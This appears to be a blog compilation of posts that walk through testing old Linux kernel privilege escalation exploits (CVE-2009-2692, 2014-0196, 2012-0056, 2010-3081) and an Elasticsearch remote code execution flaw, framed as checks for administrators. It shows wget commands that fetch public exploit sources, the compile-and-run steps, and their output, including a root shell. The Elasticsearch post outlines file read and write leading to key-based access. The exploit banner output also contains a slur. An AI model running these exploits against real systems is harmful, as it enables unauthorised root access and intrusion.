CVE-2009-2692 Linux NULL pointer dereference due to incorrect proto_ops initializations

Again as same with previous cve posts, I would like to express the intention of this article is to protect and safeguard of administrators / developers who make a living for their family by maintaining computer system for company. This blog is to make aware for those who run linux operating system and you should be aware of it and protect against the malicious attack. I take no responsibility if you and/or your evil minded take this to damage others.

This source (or you can download original source here) is written in c and it require some level of understanding into linux system as well. You should find explanation for the source exploit.c here, here or here.  As explain in the documentation, this exploit mainly target this kernel version:

• kernel 2.6.0 to 2.6.30.4


• kernel 2.4.4 to 2.4.37.4

So check your system if your server kernel falled within this range and do a kernel update if it does as there is already fixed.

According to the cve, description for this exploit

The Linux kernel 2.6.0 through 2.6.30.4, and 2.4.4 through 2.4.37.4, does not initialize all function pointers for socket operations in proto_ops structures, which allows local users to trigger a NULL pointer dereference and gain privileges by using mmap to map page zero, placing arbitrary code on this page, and then invoking an unavailable operation, as demonstrated by the sendpage operation (sock_sendpage function) on a PF_PPPOX socket.

Okay, let's download the source and try it.

user@localhost:~/Desktop/exploit/wunderbar_emporium$ whoami
user
user@localhost:~/Desktop/exploit/wunderbar_emporium$ sh -x wunderbar_emporium.sh
++ pwd
++ sed 's/\//\\\//g'
+ ESCAPED_PWD='\/home\/user\/Desktop\/exploit\/wunderbar_emporium'
+ sed 's/\/home\/spender/\/home\/user\/Desktop\/exploit\/wunderbar_emporium/g' pwnkernel.c
+ mv pwnkernel.c pwnkernel2.c
+ mv pwnkernel1.c pwnkernel.c
+ killall -9 pulseaudio
++ uname -p
+ IS_64=unknown
+ OPT_FLAG=
+ '[' unknown = x86_64 ']'
++ cat /proc/sys/vm/mmap_min_addr
+ MINADDR=65536
+ '[' 65536 = '' -o 65536 = 0 ']'
+ '[' '!' -f /usr/sbin/getenforce ']'
+ cc -fno-stack-protector -fPIC -shared -o exploit.so exploit.c
+ cc -o pwnkernel pwnkernel.c
+ ./pwnkernel
 [+] Personality set to: PER_SVR4
Pulseaudio is not suid root!
+ mv -f pwnkernel2.c pwnkernel.c
user@localhostp:~/Desktop/exploit/wunderbar_emporium$ whoami
user

So this server is not vulnerable for this exploit! All good.

CVE-2014-0196 kernel: pty layer race condition leading to memory corruption

First off, I would like to express the intention of this article is to protect and safeguard of administrators / developers who make a living for their family by maintaining computer system for company. This blog is to make aware for those who run linux operating system and you should be aware of it and protect against the malicious attack. I take no responsibility if you and/or your evil minded take this to damage others.

This source is written in c and it require some level of understanding into linux system as well. You should find explanation for the source cve-2014-0196-md.c here. If you run an old system, then you might want to read more. But check your kernel that comes with your distribution, it may already been fixed.

From the description:

The n_tty_write function in drivers/tty/n_tty.c in the Linux kernel through 3.14.3 does not properly manage tty driver access in the "LECHO & !OPOST" case, which allows local users to cause a denial of service (memory corruption and system crash) or gain privileges by triggering a race condition involving read and write operations with long strings.

Okay, let's move on to compile and test it out.

user@localhost:~$ wget -O cve-2014-0196-md.c http://bugfuzz.com/stuff/cve-2014-0196-md.c
user@localhost:~$ gcc cve-2014-0196-md.c -lutil -lpthread
user@localhost:~$ ./a.out
[+] Resolving symbols
[+] Resolved commit_creds: 0xffffffff8105bb28
[+] Resolved prepare_kernel_cred: 0xffffffff8105bd3b
[+] Doing once-off allocations
[+] Attempting to overflow into a tty_struct......
........................................................................................................................................................................................................................................................................................................................................................................................................................^C

Apparently this kernel is not vulnerable to this exploit. Another great day. :-)

CVE-2012-0056 mempodipper

First off, I would like to express the intention of this article is to protect and safeguard of administrators / developers who make a living for their family by maintaining computer system for company. This blog is to make aware for those who run linux operating system and you should be aware of it and protect against the malicious attack. I take no responsibility if you and/or your evil minded take this to damage others.

This source is written in c and it require some level of understanding into linux system as well. You should find explanation for the source mempodipper.c here. But it has since been fix in this patch. So all of the distribution should have this fix in the kernel anyway. But in case you run at old system with kernel 2.6.39 or a non stock kernel, then you might want to read more.

With that said, let's download this source and compile it.

user@localhost:~$ wget http://www.exploit-db.com/download/18411 -O 18411.c
--2014-07-19 16:52:59--  http://www.exploit-db.com/download/18411
Resolving www.exploit-db.com (www.exploit-db.com)... 192.99.12.218, 198.58.102.135
Connecting to www.exploit-db.com (www.exploit-db.com)|192.99.12.218|:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://www.exploit-db.com/download/18411/ [following]
--2014-07-19 16:53:00--  http://www.exploit-db.com/download/18411/
Reusing existing connection to www.exploit-db.com:80.
HTTP request sent, awaiting response... 200 OK
Length: 6348 (6.2K) [application/txt]
Saving to: ‘18411.c’

100%[====================================================================================================================>] 6,348       --.-K/s   in 0.001s  

2014-07-19 16:53:00 (7.31 MB/s) - ‘18411.c’ saved [6348/6348]

user@localhost:~$ gcc 18411.c -o 18411
user@localhost:~$ ./18411
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/7398/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x4022c0.
[+] Calculating su padding.
[+] Seeking to offset 0x4022a6.
[+] Executing su with shellcode.
^C
user@localhost:~$ whoami
user

So we have downloaded the source, compile it using gcc and run it. If you notice in the video, if the kernel are vulnerable to this exploit, this exploit will finish run successfully and issue the command whoami, root is shown. But for this example above, my kernel is compiled with the fix so the computer system is safe. You can get this library and copy to the server you want to check to make sure the exploit did not run successfully.

That's it for this article, I hope you enjoy this writing.

CVE-2014-3120 Elastic Search Remote Code Execution

First off, I would like to express the intention of this article is to protect and safeguard of administrators / developers who uses elastic search cluster in their production system and to make a living for the family. This blog is to make aware for those who deploy elasticsearch cluster and you should be aware of it and protect against the malicious attack. I take no responsibility if you and/or your evil minded take this to damage others.

To quickly fix for this issue, you should set this

script.disable_dynamic: true

to your elasticsearch.yaml configuration file and restart elasticsearch instance.

If you have noticed, disable_dynamic is set to false in elasticsearch version 1.1.2 and below. However, it is set to true after 1.2.0.

Just load this html file CVE-2014-3120 in your browser and then change the field "ES_IP_Address" and the and field "File to read/append to". If your es allow access via port 9200, it will show the content but if you  have block the port and disable the dynamic scripting, then you are safe.

If the file content is shown, then you can start to write to it. You need to change the html source to allow write. When this happened, the attacker will be able to gain access to your box using public/private key. That's not good!

The said html file is adaptation from http://www.exploit-db.com/exploits/33370/ and if you are interested to read more, please read this link.

CVE-2010-3081 Ac1dB1tch3z

First off, I would like to express the intention of this article is to protect and safeguard of administrators / developers who make a living for their family by maintaining computer system for company. This blog is to make aware for those who run linux operating system and you should be aware of it and protect against the malicious attack. I take no responsibility if you and/or your evil minded take this to damage others.

This exploit only vulnerable to kernel version 2.6.26-rc1 to 2.6.36-rc4. So be
alert if your production server are runnning these kernel. It has since been
fixed in the upstream as it can be found here.

So what is this exploit about?

A vulnerability in the 32-bit compatibility layer for 64-bit systems was reported. It is caused by insecure allocation of user space memory when translating system call inputs to 64-bit. A stack pointer underflow can occur when using the "compat_alloc_user_space" method inside arch/x86/include/asm/compat.h with an arbitrary length input.

or the long description here and here

Get the source here and compile it.

user@localhost:~$ gcc -m32 15024.c -o 15024
user@localhost:~$ ./15024
Ac1dB1tCh3z VS Linux kernel 2.6 kernel 0d4y
$$$ Kallsyms +r
!!!  Un4bl3 t0 g3t r3l3as3 wh4t th3 fuq!

If the kernel is vulnerable to this exploit, check output below.

[bob@xxx ~]$ date
Sun Sep 19 18:22:38 BRT 2010
[bob@xxx ~]$ cat /etc/redhat-release
Red Hat Enterprise Linux Server release 5.5 (Tikanga)
[bob@xxx ~]$ uname -a
Linux xxx 2.6.18-194.11.3.el5 #1 SMP Mon Aug 23 15:51:38 EDT 2010 x86_64 x86_64 x86_64 GNU/Linux
[bob@xxx ~]$ id
uid=500(bob) gid=500(bob) groups=500(bob)
[bob@xxx ~]$ ./15024
Ac1dB1tCh3z VS Linux kernel 2.6 kernel 0d4y
$$$ Kallsyms +r
$$$ K3rn3l r3l3as3: 2.6.18-194.11.3.el5
??? Trying the F0PPPPPPPPPPPPPPPPpppppppppp_____ m3th34d
$$$ L00k1ng f0r kn0wn t4rg3tz..
$$$ c0mput3r 1z aqu1r1ng n3w t4rg3t...
$$$ selinux_ops->ffffffff80327ac0
$$$ dummy_security_ops->ffffffff804b9540
$$$ capability_ops->ffffffff80329380
$$$ selinux_enforcing->ffffffff804bc2a0
$$$ audit_enabled->ffffffff804a7124
$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - F0PZzzZzZZ/LSD(M) m3th34d
$$$ Prepare: m0rn1ng w0rk0ut b1tch3z
$$$ Us1ng st4nd4rd s3ash3llz
$$$ 0p3n1ng th3 m4giq p0rt4l
$$$ bl1ng bl1ng n1gg4 :PppPpPPpPPPpP
sh-3.2# id
uid=0(root) gid=500(bob) groups=500(bob)

That's it! Stay safe.